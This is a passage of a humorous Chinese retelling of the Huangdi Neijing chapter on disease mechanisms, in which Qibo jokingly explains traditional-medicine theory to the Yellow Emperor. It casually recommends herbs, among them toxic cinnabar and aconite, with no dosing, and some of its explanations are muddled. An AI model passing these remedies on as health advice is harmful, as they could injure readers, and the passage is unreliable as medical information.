“陛下啊，这病机啊，还跟身体的上下部位有关系呢！比如‘诸厥固泄，皆属于下’。这说的是啊，你要是觉得下肢老是冰凉，还容易拉肚子，那可能是下焦的问题。下焦啊，它可是个‘大仓库’，里面藏着好多宝贝呢！要是它出了问题，你自然就觉得不舒服了。这时候啊，你得吃点温补下焦的药材，比如杜仲啊，巴戟天啊，都能帮你把下焦给暖起来。” “还有啊，‘诸痿喘呕，皆属于上’。这说的是啊，你要是觉得上肢老是无力，还容易喘、容易吐，那可能是上焦的问题。上焦啊，它可是个‘大门户’，负责接收和排出气体呢！要是它出了问题，你自然就觉得呼吸不畅、胃口不好了。这时候啊，你得吃点宣肺止咳、和胃止呕的药材，比如桔梗啊，半夏啊，都能帮你把上焦给调理好了。” “陛下啊，这病机啊，还跟人的精神状态有关系呢！比如‘诸禁鼓栗，如丧神守，皆属于火’。这说的是啊，你要是觉得身上老是发抖，还像是丢了魂儿似的，那可能是火邪烧得太旺了，把你的心神都给烧乱了。这时候啊，你得吃点清心安神的药材，比如酸枣仁啊，合欢皮啊，都能帮你把心神给安定下来。” “再说说这‘诸痉项强，皆属于湿’。这说的是啊，你要是觉得脖子老是僵硬，还时不时地抽筋，那可能是湿邪在作怪。湿邪啊，它可是个粘人精，喜欢附着在筋骨上。这时候啊，你得吃点祛湿通络的药材，比如羌活啊，独活啊，都能帮你把湿邪给赶走。” “陛下啊，这病机啊，还跟气的运行有关系呢！比如‘诸逆冲上，皆属于火’。这说的是啊，你要是觉得气老是往上冲，像是有个东西在顶着你似的，那可能是火邪在作怪。火邪啊，它可是个急性子，喜欢往上冲。这时候啊，你得吃点降气的药材，比如沉香啊，厚朴啊，都能帮你把气给降下来。” “还有啊，‘诸胀腹大，皆属于热’。这说的是啊，你要是觉得肚子老是胀胀的，还越来越大，那可能是热邪在作怪。热邪啊，它可是个膨胀剂，喜欢让你的肚子鼓起来。这时候啊，你得吃点清热的药材，比如大黄啊，芒硝啊，都能帮你把热邪给排了出去。” “陛下啊，这病机啊，还跟人的情绪有关系呢！比如‘诸躁狂越，皆属于火’。这说的是啊，你要是觉得心里老是烦躁不安，还时不时地发脾气、打人砸东西，那可能是火邪烧得太旺了，把你的情绪都给烧失控了。这时候啊，你得吃点清肝泻火的药材，比如龙胆草啊，夏枯草啊，都能帮你把火给降下来，让你的情绪稳定下来。” “再说说这‘诸暴强直，皆属于风’。这说的是啊，你要是觉得身体突然变得僵硬，还时不时地抽搐、痉挛，那可能是风邪在作怪。风邪啊，它可是个调皮鬼，喜欢让你的身体变得不听使唤。这时候啊，你得吃点祛风通络的药材，比如全蝎啊，蜈蚣啊，都能帮你把风邪给赶走。” “陛下啊，这病机啊，还跟声音有关系呢！比如‘诸病有声，鼓之如鼓，皆属于热’。这说的是啊，你要是觉得肚子里老是咕噜咕噜地响，像是有个鼓在敲似的，那可能是热邪在作怪。热邪啊，它可是个音乐家，喜欢在你的肚子里开音乐会。这时候啊，你得吃点清热的药材，比如大黄啊，枳实啊，都能帮你把热邪给排了出去，让你的肚子安静下来。” “还有啊，‘诸病胕肿，疼酸惊骇，皆属于火’。这说的是啊，你要是觉得身上老是这儿肿那儿疼的，还时不时地感到惊恐不安，那可能是火邪在作怪。火邪啊，它可是个捣蛋鬼，喜欢让你的身体感到不舒服。这时候啊，你得吃点清心安神、清热消肿的药材，比如朱砂啊，琥珀啊，都能帮你把火邪给赶走，让你的身体感到舒适。” “陛下啊，这病机啊，还跟水液有关系呢！比如‘诸转反戾，水液浑浊，皆属于热’。这说的是啊，你要是觉得身体老是扭曲变形，还时不时地排出浑浊的水液，那可能是热邪在作怪。热邪啊，它可是个魔术师，喜欢让你的身体变得奇奇怪怪的。这时候啊，你得吃点清热的药材，比如石膏啊，知母啊，都能帮你把火邪给灭了。” “再说说这‘诸病水液，澄澈清冷，皆属于寒’。这说的是啊，你要是觉得排出的水液老是清清的、冷冷的，那可能是寒邪在作怪。寒邪啊，它可是个冷冻机，喜欢让你的身体变得冷冰冰的。这时候啊，你得吃点温阳散寒的药材，比如附子啊，干姜啊，都能帮你把寒邪给赶走。” “陛下啊，这病机啊，还跟消化有关系呢！比如‘诸呕吐酸，暴注下迫，皆属于热’ 。这说的是啊，你要是觉得老是吐酸水、拉肚子，那可能是热邪在作怪。热邪啊，它可是个破坏分子，喜欢让你的消化系统出问题。这时候啊，你得吃点清热止泻的药材，比如黄连啊，黄柏啊，都能帮你把火邪给灭了。” 岐伯一口气说了这么多，把黄帝陛下听得那叫一个目瞪口呆。他心想：原来中医的病机理论这么复杂啊！不过还好有岐伯在，不然我可得被绕晕了。 岐伯看黄帝陛下听得这么认真，心里那叫一个高兴。他拍了拍黄帝的肩膀说：“陛下啊，这病机啊，虽然复杂多变，但只要咱们掌握了它的规律，就能对症下药、药到病除啦！所以啊，你得好好学习学习中医知识哦！” 至真要大论篇第七十四（二十三） 黄帝闲来无事，就对岐伯说：“嘿，岐伯啊，咱们聊聊那个五味阴阳的事儿呗，我一直有点儿懵。”岐伯一听，眼镜一推，笑眯眯地说：“好嘞，陛下，这事儿得从头捋。” 黄帝：“那你快说说，这五味阴阳到底怎么用啊？” 岐伯清了清嗓子，开始了他的爆笑讲解：“这五味啊，说白了就是咱们平时吃的酸甜苦辣咸，但它们可不是普通的味道，它们可是带着阴阳属性的小能手呢！” 黄帝：“哦？快说说，怎么个小能手法？” 岐伯：“首先啊，辛和甘这两位，那可是阳界的小太阳，发散的能手。你想啊，吃了辣椒或者糖，是不是感觉全身热血沸腾，毛孔都张开了？这就是它们帮你把体内的寒气、湿气给赶出去，就像夏天晒太阳一样，暖暖的，很舒服。” 黄帝：“哈哈，这么说来，吃辣椒和糖还能养生啊？” 岐伯：“那当然，不过得适量。比如生姜就是辛味的代表，感冒了来一杯姜汤，立马感觉鼻子通气了，这就是辛味发散的威力。而甘草呢，甘甜入脾，能补中益气，也是调和诸药的好手。” 黄帝：“原来如此，那酸苦涌泄为阴又是咋回事？” 岐伯：“这个嘛，酸就像秋天的风，吹得你直打哆嗦，还能让你胃酸泛滥，比如吃柠檬，那感觉，酸爽到飞起！苦呢，就像是冬天的冰雹，砸得你胃疼，还得拉肚子，比如黄连，那苦味，简直能苦到心里去。它们俩都是让你体内的东西往外排的，属于阴性的小捣蛋。” 黄帝：“哈哈，你这比喻太逗了！那咸味涌泄为阴呢？” 岐伯：“咸味啊，就像是海里的浪，一波接一波，能把你体内的水分都给带出来。吃得太咸，第二天眼睛肿得跟熊猫似的，这就是咸味涌泄的威力。不过，适量的盐可是调味神器，还能补肾哦，比如海带、海参这些海产品，都是咸味的佳品。” 黄帝：“那淡味渗泄为阳又是咋回事呢？” 岐伯：“淡味就像是春雨绵绵，悄无声息地滋润着大地，它能帮助你体内的废物通过尿液、汗液等方式慢慢排出，保持身体的清爽。比如薏米、冬瓜这些食材，都是淡味的代表，吃了能利尿消肿，让你感觉身体轻飘飘的。” 黄帝：“岐伯啊，你这解释得太到位了！那六者或者收或者散，或者缓或者急，这又怎么讲？” 岐伯：“这你就问到点子上了。不同的味道，它们的作用方式还不一样呢。比如酸味能收，就像把大门关上，防止体内的气血、精液流失，比如山楂就能收敛肺气，止咳平喘。辛味能散，就像打开窗户通风，让气血流通起来，比如麻黄就能发散风寒，治疗感冒。苦味能燥，就像烘干机，能去除体内的湿气，比如黄连就能燥湿止泻。甘味能缓，就像给快节奏的生活按下暂停键，让你放松下来，比如大枣就能缓和药性，补中益气。咸味能软，就像软化剂，能软化体内的硬结，比如海藻就能软坚散结。淡味呢，就像清洁工，能清除体内的垃圾，保持环境的整洁。” 黄帝：“哈哈，你这比喻真是绝了！那在实际应用中，我们该怎么用这些味道来调理身体呢？” 岐伯：“这就得根据每个人的体质和病情来定了。比如你感冒了，如果是风寒感冒，就得用辛味的药来发散风寒，比如麻黄汤；如果是风热感冒，就得用苦寒的药来清热泻火，比如银翘散。再比如你消化不良，肚子胀得跟气球似的，那就得用点消食导滞的药，比如山楂丸，里面山楂的酸味就能帮你把胃里的食物消化掉。总之，要根据实际情况，灵活运用这些味道，调理气机，让身体保持平衡。” 黄帝老爷子闲来无事，就跑去问岐伯：“岐伯啊，你说这治病救人，除了调整人体的气儿，还有啥高招没？还有啊，那些中药啊，有的说有毒，有的说 没毒，到底该咋用？是先上猛药，还是慢慢来？你给我说道说道。” 岐伯一听，心里暗笑：“这陛下啊，又想套我话呢。”但表面还得一本正经地回答：“陛下啊，这事儿得这么看。有毒没毒，那都不是事儿，关键是看咱要治啥病。就像炒菜，你得根据食材的多少来决定放多少盐，对吧？中药也一样，得根据病情来选择合适的药，还得掌握好剂量，这就是‘适大小为制’的奥妙。” 黄帝一听，眉头一皱，心说：“这岐伯说话就是爱绕弯子，我得让他说点实在的。”于是，黄帝又追问道：“那你倒是举个例子啊，让我这脑袋瓜子也开开窍。” 岐伯一看黄帝这求知若渴的样子，心里也乐开了花，心想：“今儿个就好好给你上一课。”于是，岐伯清了清嗓子，开始了他那幽默风趣的中药讲解。 “比如说啊，咱们中药里头有个叫‘附子’的家伙，那可是个狠角色，毒性不小，但要是用对了，那可是治病的利器。就像你家里那把菜刀，锋利得很，一不小心就能切到手，但要是用好了，那切菜切肉都不在话下。附子也一样，用好了，能散寒止痛，救人性命；用不好，那可就得小心了，说不定就得去阎王爷那儿报道了。” 黄帝一听，眼睛一亮，心说：“嘿，这岐伯说得还挺形象。”于是，黄帝又问：“那有没有啥没毒，又特别管用的药呢？” 岐伯微微一笑，说：“当然有啦，比如说‘枸杞’吧。这家伙，简直就是中药界的暖男，无毒无害，还能补肾益精，养肝明目。你每天吃上一小把，保证你身体倍儿棒，吃嘛嘛香。不过啊，这枸杞也得适量，吃多了，小心上火哦。” 黄帝一听，哈哈大笑：“这枸杞还挺有个性呢，吃少了不管用，吃多了还上火，真是让人又爱又恨啊。” 岐伯一看黄帝这乐呵样，心里也高兴，于是又接着说：“其实啊，中药的毒性，就像咱们人的性格一样，有的温和，有的火爆。关键是要会用，会用的人，能把毒药变成良药；不会用的人，良药也能变成毒药。就像你家里那调味瓶，盐放多了咸，糖放多了甜，得恰到好处才行。” 黄帝一听，连连点头：“岐伯啊，你这比喻真是绝了，通俗易懂，又深刻。看来，这中药的学问，还真是深奥啊。” 岐伯一看黄帝这认真劲儿，心里也满意得很，于是又补充说：“对了，陛下啊，还有件事儿得提醒你。这中药啊，还分个君臣佐使。就像你家里那支足球队，得有前锋、中场、后卫和门将，各有各的职责，缺了谁都不行。中药也一样，有的药是主将，负责攻打病邪；有的药是副将，协助主将；有的药是后勤，负责给身体补充营养；还有的药是守门员，负责守住身体的防线，不让病邪进来。所以啊，用药得讲究搭配，才能发挥出最大的效果。” 黄帝一听，更是恍然大悟：“原来如此，看来我这中医之路，还得慢慢摸索啊。” 岐伯一看黄帝这谦虚样，心里也欣慰得很，于是又拍了拍黄帝的肩膀说：“陛下啊，别灰心，只要你肯学，我这肚子里的货，可都等着传授给你呢。咱们中医啊，讲究的就是个天人合一，阴阳平衡。只要你能领悟到这个道理，那治病救人，还不是手到擒来？” 黄帝心血来潮，对身边的岐伯说：“岐伯啊，你跟我讲讲这中药配方的讲究呗。”岐伯一听，嘿，这可是个展示自己医学才华的好机会，于是清了清嗓子，开始了他的“中药配方秘籍”讲解。 岐伯说：“陛下啊，你看这中药配方，它就像咱们搭积木，得有个主有次，讲究个搭配。比如说，‘君一臣二，制之小也’，这就像是你想吃顿简单的便饭，一道主菜（君药），两道配菜（臣药），简单又实惠，这就是小方子，治点小毛病足够了。” 黄帝一听，点了点头，说：“哦 ，那要是我想吃得丰盛点呢？” 岐伯接着说：“那你就得来个‘君一臣三佐五，制之中也’了。这就像是你请客吃饭，一道主菜，三道配菜，再加上五道小凉菜，那场面，啧啧，热闹又丰盛。这中方子呢，就是对付那些稍微复杂点的病症，得有多种药材相互配合，才能药到病除。” 黄帝眼睛一亮，说：“那要是我想摆个满汉全席呢？” 岐伯哈哈一笑，说：“那你就得来个‘君一臣三佐九，制之大也’了。这可是咱们中药配方里的豪华套餐啊！一道主菜，三道配菜，再加上九道精致的小菜，那简直就是一场味蕾的盛宴。大方子嘛，就是对付那些顽固的、复杂的病症，得用上多种药材，就像一支精锐的军队，分工明确，协同作战，才能把病魔给一网打尽！” 帝哥听了，连连点头，说：“这中药配方还真有意思，那你再跟我说说，这药材的搭配还有什么讲究？” 岐伯说：“那当然了，药材的搭配可是个技术活。比如说，寒症得用热药，热症得用寒药，这就像是你冬天觉得冷，得穿暖和点；夏天觉得热，得穿凉快点。咱们中药里啊，像黄连、黄芩这些，就是寒性的，能降火；而生姜、附子这些，就是热性的，能驱寒。” 黄帝说：“那要是病症不严重呢？” 岐伯说：“病症不严重的话，咱们就‘微者逆之’，用相反的药性来调和。比如说，你稍微有点上火，就用点寒性的药材清清火。” 黄帝又问：“那要是病症很严重呢？” 岐伯说：“病症严重的话，咱们就‘甚者从之’，顺着病症的性子来，先用点温和的药材缓缓，等病势稍微减弱了，再用猛药来攻。这就像是你爬山，先慢慢爬，等体力恢复了，再冲刺山顶。” 黄帝听得津津有味，又问：“那要是身体里有肿块、结节呢？” 岐伯说：“那就得‘坚者削之，结者散之’了。肿块、结节就像是你身体里的‘小石头’，咱们得用点活血化瘀、软坚散结的药材，把它们给‘削’掉，‘散’开。比如说，三棱、莪术这些药材，就是专门对付这些‘小石头’的。” 黄帝又问：“那要是身体里有外邪入侵呢？” 岐伯说：“那就得‘客者除之’了。外邪就像是你家里的不速之客，咱们得用点驱邪的药材，把它们给赶出去。比如说，麻黄、桂枝这些药材，就是专门用来发汗解表，驱邪外出的。” 黄帝说：“那要是身体劳累过度，感到虚弱呢？” 岐伯说：“那就得‘劳者温之’了。劳累过度就像是你身体里的‘电池’没电了，咱们得用点温补的药材，给身体充充电。比如说，人参、黄芪这些药材，就是专门用来补气养血的。” 黄帝又问：“那要是身体里有淤血、滞留呢？” 岐伯说：“那就得‘留者政之’了，‘政’在这里是‘治’的意思。淤血、滞留就像是你家里的下水道堵了，咱们得用点活血化瘀、通经活络的药材，把它们给疏通开。比如说，桃仁、红花这些药材，就是专门用来活血化瘀的。” 黄帝听了这么多，有点头晕，说：“哎呀，这中药配方也太复杂了吧？” 岐伯笑着说：“陛下啊，你别急，这中药配方啊，就像是你玩游戏，一开始可能不太熟练，但玩着玩着，你就掌握了技巧，成了高手。而且啊，这中药配方还有个好处，就是可以根据每个人的体质、病情来量身定制，就像是你去定制一套西装，合身又帅气！” 黄帝听了，哈哈大笑，说：“你这么说，我倒是对这中药配方有点兴趣了。那你再跟我说说，这药材还有什么别的讲究？” 岐伯说：“当然了，药材的搭配还得考虑它们的性味、归经、升降浮沉等等。比如说，有的药材味道苦，能清 热泻火；有的药材味道甜，能补气养血。还有的药材喜欢往上走，能治疗头面部的病症；有的药材喜欢往下走，能治疗下肢的病症。咱们得根据病症的不同，选择合适的药材，才能让药效发挥到最好。” 黄帝听得目瞪口呆，说：“这中药配方也太神奇了吧？那你能不能给我举个例子，让我见识见识？” 岐伯说：“没问题啊，比如说，有个人感冒了，头疼、发热、咳嗽、流鼻涕。那咱们就可以用点麻黄、桂枝来发汗解表，用点杏仁来止咳平喘，再用点甘草来调和药性。这四味药搭配起来，就是着名的‘麻黄汤’，治疗风寒感冒效果杠杠的！” 至真要大论篇第七十四（二十四） 话说有一天，黄帝陛下突发奇想，决定向岐伯请教一个深奥的问题：“岐伯啊，你说这中医里的‘逆从’是个啥玩意儿？是不是跟咱宫廷里的顺我者昌、逆我者亡差不多啊？”岐伯一听，差点没笑喷出来，心想这帝王陛下还真是会联想。不过，他还是耐心地解释道：“陛下啊，您这可比喻得有点偏了。在中医里，‘逆从’其实说的是治疗的方法。逆者，就是正治，也就是咱们平时说的‘对症下药’，哪儿不舒服就治哪儿；从者呢，就是反治，听起来有点反其道而行之的意思。” “哦？反治？这听着挺新鲜啊！”帝王陛下眼睛一亮，显然被这“反其道而行之”给勾起了兴趣。 岐伯一看陛下上钩了，便继续娓娓道来：“这反治啊，可是中医里的独门绝技。简单来说，就是热病用寒药，寒病用热药，听起来好像挺矛盾的，但实则蕴含着中医的深奥智慧。比如，一个人体内热气太盛，咱们一般人可能想着得用寒性的药来降降温。但有时候呢，这热气太顽固了，直接降火反而适得其反。这时候，咱们就来个‘热因寒用’，用看似热性的药，但实际上是通过激发身体的自我调节能力，让热气自己找到出路，乖乖地散去。这就好比是咱们宫廷里的间谍，明明看着是敌人派来的，但其实心里向着咱，最后还能帮咱们把敌人的情报给偷了回来。” 黄帝听得频频点头，觉得岐伯这比喻真是绝了：“那其他的‘塞因塞用’、‘通因通用’又是怎么回事呢？” 岐伯微微一笑，继续他的爆笑讲解：“这‘塞因塞用’啊，就好比是咱们宫廷里的那些大臣们，有时候一个个堵在门口，意见不合，谁也不让谁。这时候，你要是直接硬闯，那肯定会闹得鸡飞狗跳。但要是来个‘塞因塞用’，也就是先听听他们的意见，让他们自己先吵吵，等吵够了，意见统一了，自然门就通了。在中医里呢，就是对于那些因为虚弱导致的堵塞，咱们不急着疏通，而是先补补身子，等身体有劲儿了，自己就能把堵塞给解决了。比如说，有人因为气虚导致的大便不通，你要是直接用泻药，那肯定会伤了他的元气。这时候，用点黄芪、党参之类的补气药，等气足了，大便自然就通顺了。” “至于‘通因通用’嘛，那就更好玩了。这就好比是咱们宫廷里的那些宴会，有时候场面太热闹了，大家都吵吵嚷嚷的，你要是直接让大家安静下来，那反而显得突兀。这时候，咱们就来个‘通因通用’，也就是再加点料，让这宴会更加热闹，等大家玩得尽兴了，自然也就不那么吵了。在中医里呢，就是对于那些因为实热导致的通泄，咱们不急着止泻，而是先清热泻火，等火降下去了，腹泻自然也就止住了。比如说，有人因为吃了太多辣椒导致的拉肚子，你要是直接用止泻药，那肯定会把热毒留在体内。这时候，用点黄连、黄芩之类的清热药，等热毒清了，拉肚子也就不治而愈了。” 黄帝听完岐伯的讲解，笑得前仰后合：“哈哈，岐伯啊，你这中医讲解真是太有意思了！看来，这中医不光是治病救人，还能逗人乐呵呢！” 岐伯也笑着回应：“陛下说得是啊，中医本就是一门博大精深的学问，既包含了深奥的医理，也蕴含着生活的智慧。只要咱们用心去学，总能从中找到乐趣和收获。” 说到这里，岐伯突然话锋一转：“不过啊，陛下，这反治之法虽然神奇，但也不是随便就能用的。必须得先搞清楚病因病机，做到‘必伏其所主，而先其所因’。也就是说，要先找到疾病的主要矛盾，再根据病因来选择合适的反治之法。否则的话，那可是会适得其反的哦！” 黄帝一听，连忙点头称是：“对对对，岐伯说得在理。看来，这中医还真是得好好学呢！” 说到这里，咱们不妨再举几个具体的中药例子来加深理解。比如说，对于那种因为阴虚火旺导致的口腔溃疡，咱们就不能直接用寒凉的药来降火，而是得用点滋阴的药，比如麦冬、石斛之类的，等阴液足了，火自然就降下来了。这就好比是给火炉加把湿柴，火自然就烧不旺了。 再比如，对于那种因为脾胃虚弱导致的食欲不振，咱们也不能直接用开胃的药来刺激食欲，而是得先健脾养胃，比如用点白术、茯苓之类的，等脾胃功能恢复了，食欲自然也就上来了。这就好比是给农田施肥，土壤肥沃了，庄稼自然就能长得好。 所以啊，这中医的反治之法，看似简单，实则深奥。它要求咱们不仅要了解药物的性质和作用，还要深入了解人体的生理病理机制，才能做到用药如神、药到病除。 黄帝这天心情格外好，大概是朝堂上的事情都处理得顺顺当当，他悠闲地踱着步子，来到了岐伯的居所。岐伯这老头，别看他平日里总是一副不紧不慢的样子，但一说到中医中药，那眼睛里可全是光啊！ 黄帝一屁股坐在岐伯对面的草席上，笑道：“岐伯啊，你说咱们这中药啊，要是能把人的气调理得顺顺当当的，那该多好啊！” 岐伯捋了捋他的长白胡子，慢条斯理地说：“陛下啊，这事儿啊，说简单也简单，说复杂也复杂。中药啊，就像咱们这世间 的道理一样，有时候你得逆着它来，有时候你得顺着它来；有时候它明明逆着你，你却得跟着它走；有时候它明明顺着你，你却得反过来治它。总之呢，你得学会疏通那股子气，让它调和，这才是正道啊！” 黄帝一听，眼睛就亮了：“哟呵，岐伯啊，你这说得跟绕口令似的，不过听起来倒是挺有道理的。那你快跟我说说，这中药到底是怎么个逆来顺受、疏通调和的法儿啊？” 岐伯嘿嘿一笑，从身边的竹篓里抓出一把草药来：“陛下啊，你看这草药，就像咱们这世间的人一样，各有各的脾气，各有各的性子。你得先了解它们，才能用好它们。” “比如说这人参吧，它可是个大补的好东西，专门补咱们的气。但是呢，你要是给一个本来就气壮如牛的人吃，那可就不对了，非得把他补得鼻血长流不可！所以啊，这时候你就得逆着它来，别给它太多的机会。” 黄帝一听就笑了：“哈哈，岐伯啊，你这说得倒是挺有意思的。那要是给一个气虚体弱的人呢？” 岐伯点点头：“那自然是得顺着它来，多多益善了。不过呢，也不能一下子补得太多，得慢慢来，不然的话，他这身子骨可受不了。” 黄帝摸了摸下巴：“嗯，有理有理。那要是遇到个脾气倔强的人呢，比如说这肝火旺盛的，动不动就发火的那种？” 岐伯哈哈一笑：“那自然是得逆着他的性子来，用点清肝泻火的药，比如龙胆草、夏枯草这些。不过呢，你还得同时顺着他的肝气来疏导，用点柴胡、郁金这些疏肝解郁的药，让他这肝气啊，能顺畅地流通起来。” 黄帝听得连连点头：“不错不错，你这说得真是头头是道。那要是遇到个心情抑郁的人呢，整天愁眉苦脸的？” 岐伯叹了口气：“这种人啊，最是需要咱们中药来调理了。你得先顺着他的性子来，用点养血安神的药，比如当归、白芍这些，让他的心情能稍微平复一些。然后呢，再逆着他的抑郁之气来，用点行气解郁的药，比如香附、郁金这些，让他的心情能开朗起来。” 黄帝有一天心血来潮，对岐伯说：“嘿，岐伯老弟，咱们来聊聊病情吧！你说说，这病啊，它到底是从里面来的还是从外面钻进来的呢？”岐伯一听，心想这黄帝今儿个是咋了，咋问起这么深奥的问题来？不过，岐伯是谁？那可是医学界的泰斗啊，于是，他慢悠悠地回答说：“哎呀，陛下，这事儿吧，得分情况。病要是从里面开始捣乱的，咱们就得从里面开始调理；病要是从外面溜进来的，那咱就得在外面动手脚啦！” 黄帝一听，觉得有理，但又觉得不够过瘾，于是又追问：“那要是病从里面开始，然后又跑到外面去撒野呢？”岐伯一听，差点没笑出来，心想这黄帝还真是爱钻牛角尖啊！不过，他还是耐心地回答说：“这种情况嘛，咱们得先搞定里面，把病根儿给拔了，然后再去收拾外面的烂摊子。这就好比家里进了小偷，你得先把门关上，别让小偷跑了，然后再去抓他嘛！” 黄帝一听，觉得岐伯说得真在理，于是又换了个角度问：“那要是病从外面开始，然后又跑到里面捣乱呢？”岐伯一听，心想这黄帝今儿个是跟自己杠上了啊！不过，他还是笑眯眯地回答说：“这种情况，咱们就得先在外面把病给堵住，别让它再往里面跑了，然后再慢慢调理里面。这就好比是防洪，你得先把堤坝给筑好，别让洪水泛滥了，然后再慢慢治水嘛！” 黄帝一听，觉得岐伯说得真是太绝了，于是又问了最后一个问题：“那要是这病啊，它既不从里面来，也不从外面进，就是自个儿在那里捣乱呢？”岐伯一听，心想这黄帝今儿个是把自己当百科全书了啊！不过，他还是认真地回答说：“这种情况嘛，咱们就得看哪个是主犯，先把它给解决了！这就好比是抓罪犯，你得先找出那个带头的大哥，把他给抓了，其他的小喽啰自然就散了嘛！” 说完，黄帝和岐伯都笑了。不过，咱们今天的重点可不是黄帝和岐伯的辩论，而是他们提到的中药理论。咱们来看看，这中药啊，到底是怎么调理身体的。 首先说说从里面开始调理的病。这种啊，一般都是内脏出了问题。比如说吧，你要是肝火旺，那就得吃点清肝火的中药。比如说那个龙胆泻肝丸，就是专门对付肝火的。吃了之后啊，你会觉得心里那股火啊，嗖嗖地往下掉，整个人都清爽了！ 再来说说从外面开始治的病。这种啊，一般都是皮肤或者肌肉上的问题。比如说吧，你要是得了湿疹，那就得用点外用的中药膏。比如说那个湿疹膏啊，抹上去之后啊，你会觉得皮肤上的那股痒劲儿啊，嗖嗖地往外冒，然后就没了！ 至于那种从里面开始然后跑到外面去的病啊，那就得内外结合了。比如说吧，你要是得了荨麻疹啊，那就得吃点抗过敏的中药，再抹点外用的药膏。这样呢，里面的过敏源给搞定了，外面的疹子也就自然而然地消了！ 至于那种从外面开始然后跑到里面去的病啊，其实跟荨麻疹差不多，也是得内外结合。不过啊，这种情况比较少见，咱们就不多说了。 再聊聊那种既不是家里蹲（从里面来）也不是外出党（从外面进）的“奇妙”病症吧！这事儿啊，得从咱们身体的“内环境”和“外交关系”说起——其实就是气血两虚或者阴阳失调那点事儿。 想象一下，你的身体突然变成了个电量不足的手机，屏幕一闪一闪的（头晕眼花），按键软绵绵的（浑身无力），这时候，你需要的可不是简单地重启（睡一觉），而是要来个深度充电加系统优化！ 说到这补气血，咱们中药界那可是高手如云，个个都是调理身体的“老中医”。比如说那八珍汤，听着就高端大气上档次，里头有当归、川芎这些补血小能手，还有党参、白术这些补气界的扛把子，简直就是给你身体来了个全方位、多层次的“豪华spa”。喝完之后，保证你满血复活，走路都带风！ 再来说说十全大补丸，这名字一听就知道，绝对是“十全十美”的滋补佳品。它里头不仅有八珍汤里的那些明星成分，还加了肉桂、炙甘草这些暖胃散寒、调和药性的好帮手。吃上一阵子，你会发现自己不仅气色好了，连心情都跟着明媚起来，仿佛整个人都被阳光照耀，温暖又充满活力！ 至真要大论篇第七十四（二十五） 黄帝这天心情特别好，估计是因为宫廷里的御厨又研发出了什么新口味的美食。他坐在龙椅上，抿了一口龙井茶，悠悠地对岐伯说：“岐伯啊，你说这人体内的火要是烧起来，然后又反复无常，一会儿冷得直哆嗦，一会儿又热得像被烤，跟那疟疾似的，有时候一天发一次，有时候又隔上好几天，这到底是为啥呢？” 岐伯一听，嘿，这问题有意思，于是他清了清嗓子，摆出一副老中医的架势，慢条斯理地说：“皇上啊，这可得从咱们中医的阴阳理论说起了。您知道，咱们人体内啊，有两股力量，一股是阳，一股是阴。阳呢，就像是夏天的大太阳，热烘烘的；阴呢，就像是冬天的雪花，冷冰冰的。这两股力量平时得保持平衡，人体才舒服。但要是它们打架了，那就得乱套了。” 黄帝点了点头，表示自己在认真听。岐伯接着说：“这‘火热复’啊，就像是您体内的阳气突然叛变了，不守规矩了，跟阴气干上了。它们俩一打架，您这不就一会儿冷一会儿热了嘛。至于为啥有时候一天发一次，有时候隔好几天，那就得看它们俩谁的人多，谁的气势旺了。” 黄帝一听，乐了：“哦？还有人数多少的问题？” 岐伯摸了摸下巴上的长胡子，一本正经地说：“那当然啦！您想啊，要是阴气那边人多势众，阳气那边就孤军奋战，那它们打架的频率肯定就低啊，得隔上好几天才能再干一架。反过来呢，要是阳气那边人多，阴气那边人少，那不得天天打嘛，您这不就一天发一次热了嘛。” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻倒是挺有意思的。那按照你这么说，这阴阳打架，咱们得怎么劝架呢？总不能看着它们在人体内这么闹下去吧？” 岐伯微微一笑，说：“皇上啊，您这可是问到点子上了。咱们中医啊，有一套独特的劝架方法，那就是用中药来调和阴阳。您看这中药啊，有的性寒，有的性热，就像是咱们派去的和事佬，能帮它们把架给劝下来。” 黄帝一听，眼睛一亮：“哦？那你快说说，都有哪些中药能当这‘和事佬’啊？” 岐伯于是如数家珍地说了起来：“您看这黄连啊，性寒味苦，就像是冬天里的一盆冰水，能给阳气降降温。还有那石膏，也是性寒的，清热泻火那是一绝。再来说说这桂枝吧，它性温味辛，就像是夏天里的一把火，能给阴气加加温。还有那附子，也是温性的，能助阳气一臂之力。” 黄帝听得津津有味，忍不住插嘴道：“那要是阴阳两边都太过分了，咱们是不是得两边都劝劝啊？” 岐伯点了点头：“皇上说得对啊！这时候啊，咱们就得用那些既能清热又能温阳的中药了。比如说这甘草吧，它性平味甘，就像是个公正无私的和事佬，既能帮阳气降降温，又能给阴气加加温，让它们俩能和平共处。” 黄帝一听，哈哈大笑：“岐伯啊，你这中医理论讲得真是生动有趣啊！我看啊，你这不光是医术高明，连讲故事也是一把好手啊！” 岐伯一听，也忍不住笑了：“皇上夸奖了。不过这中医理论啊，确实博大精深，要是咱们能把它讲得生动有趣一些，让更多的人都能听明白，那不是更好嘛！” 说到这里，黄帝突然想起了什么，问岐伯：“岐伯啊，你说这中药调和阴阳的效果这么好，那有没有什么特别有趣的例子啊？比如说有人吃了中药之后，体内的阴阳就突然变得和谐了，整个人都焕然一新了？” 岐伯摸了摸下巴，笑眯眯地对黄帝说：“皇上啊，这事儿还真逗！您知道吗？有个人啊，他以前阳气旺得吓人，整天跟个行走的小太阳似的，热得周围人都得离他三尺远。而且啊，他这脾气，比那夏天的雷阵雨还来得快，动不动就‘轰隆隆’地发脾气。 后来呢，他也不知道从哪儿弄来了几副中药，说是能清热降火。嘿，您猜怎么着？他喝下去之后，整个人就像被秋天的凉风拂过一样，立马变得温和多了。以前那大嗓门，现在说话都跟蚊子似的，细声细气的，连他老婆都说他变得‘柔情似水’了呢！ 您说这中药厉不厉害？简直就是‘情绪灭火器’啊！我猜啊，那药里肯定有不少黄连、黄芩这些苦寒之物，不然怎么能把这火急火燎的脾气给灭了呢！哈哈，这故事告诉我们，以后谁再乱发脾气，咱们就给他来点中药，让他‘冷静冷静’！” 黄帝一听，笑得前仰后合：“哈哈哈，这中药还真是神奇啊！我看啊，以后谁要是再发脾气，咱们就给他开几副中药，让他体内的阴阳调和调和，说不定就能 变成个温文尔雅的人呢！” 岐伯也跟着笑了起来：“皇上说得对啊！不过啊，这中药虽然好，但也不能乱吃。每个人的体质都不一样，得根据具体情况来开药才行。所以啊，要是有人想吃中药来调和阴阳，最好还是找个靠谱的老中医给看看。” 